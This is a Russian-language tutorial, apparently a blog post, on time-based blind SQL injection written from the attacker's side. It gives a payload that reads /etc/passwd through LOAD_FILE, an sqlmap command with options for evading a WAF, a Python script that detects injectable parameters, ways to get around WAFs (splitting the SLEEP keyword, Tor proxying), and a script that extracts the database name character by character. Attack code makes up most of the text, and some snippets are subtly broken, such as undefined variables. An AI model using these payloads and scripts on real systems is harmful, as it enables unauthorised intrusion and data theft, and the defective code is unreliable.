36
🔥 Философия атаки
Слепая инъекция — как ломать сейф в темноте: нет прямого вывода данных, но есть два пути:
SLEEP(5)
→ если сервер “задумался”, уязвимость есть.IF(SUBSTRING(database(),1,1)=‘a’,123,456)
→ анализ косвенных признаков (ошибки/редиректы).Проблема 2025: WAF блокируют явные SLEEP
и BENCHMARK
. Решение — кастомные задержки через тяжелые SQL-операции.
🐍 Python + SQLMap: танцы с таймерами
Шаг 1: Генерируем «невидимый» нагрузочный запрос:
1 |
payload = "1' AND (SELECT 1 FROM (SELECT LENGTH(LOAD_FILE('/etc/passwd')) AS x FROM users WHERE id=1) AS t WHERE IF(x>0,SLEEP(2),0)) -- -" |
Шаг 2: Запускаем sqlmap
с кастомными таймингами:
1 |
sqlmap -u "https://target.com/profile?id=1*" --technique=T --time-sec=3 --delay=1 --randomize=1 --safe-freq=5 --drop-set-cookie |
Фишки:
--randomize=1
→ случайный порядок параметров--safe-freq=5
→ каждые 5 запросов легитимный запрос для обхода WAF⚡ Чекер на Python: детектим слепые инъекции за 15 строк
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
import aiohttp import asyncio async def check_blind_sqli(url, param_name): payloads = [ f"{param_name}=1' AND 1234=IF((SELECT 1)=1,SLEEP(5),1234) -- -", f"{param_name}=1' AND 1234=IF((SELECT 1)=2,SLEEP(0),1234) -- -" ] async with aiohttp.ClientSession() as session: for p in payloads: start = asyncio.get_event_loop().time() async with session.get(f"{url}?{p}") as resp: delay = asyncio.get_event_loop().time() - start if delay > 4.5: # Порог с учётом сетевых лагов return True return False # Использование: asyncio.run(check_blind_sqli("https://vuln-site.com/profile", "id")) |
Лайфхаки:
TRUE
/FALSE
) для минимизации ложных срабатываний🛡️ Как защищаются в 2025 — и как это обойти
CONCAT('SLE','EP(5)')
1 |
' AND (SELECT 1 FROM (SELECT COUNT(*) FROM users JOIN posts ... RANDOM_TABLES)) ... |
Tor
+ aiohttp-socks
📊 Практика: вытаскиваем имя базы
Логика:
IF(LENGTH(database())=5, SLEEP(3), 0)
IF(SUBSTR(database(),1,1)='a', SLEEP(3), 0)
Автоматизация через Python:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
async def extract_db_name(url, param): name = [] for position in range(1, 20): low, high = 32, 126 while low <= high: mid = (low + high) // 2 payload = f"{param}=1' AND IF(ASCII(SUBSTR(database(),{position},1))>{mid}, SLEEP(2), 0) -- -" start = time() await session.get(url, params=payload) if time() - start > 1.5: low = mid + 1 else: high = mid - 1 name.append(chr(low)) return ''.join(name) |
🔥 Итоги